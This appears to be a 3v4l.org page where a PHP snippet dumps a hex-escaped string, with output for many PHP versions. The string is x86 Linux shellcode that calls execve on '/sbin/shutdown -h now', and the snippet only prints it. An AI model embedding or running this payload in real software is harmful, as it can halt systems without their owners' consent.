3v4l.org

run code in 300+ PHP versions simultaneously
<?php $a = "\x31\xc0\x31\xd2\x50\x66\x68\x2d\x68\x89\xe7\x50\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x50\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80"; var_dump(explode('\\', $a));
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.7, 7.2.29 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
array(1) { [0]=> string(56) "1�1�Pfh-h��Pjnf�D$ow��Phdownhshuthn///h/sbi��RVWS�� ̀" }

preferences:
246.02 ms | 406 KiB | 350 Q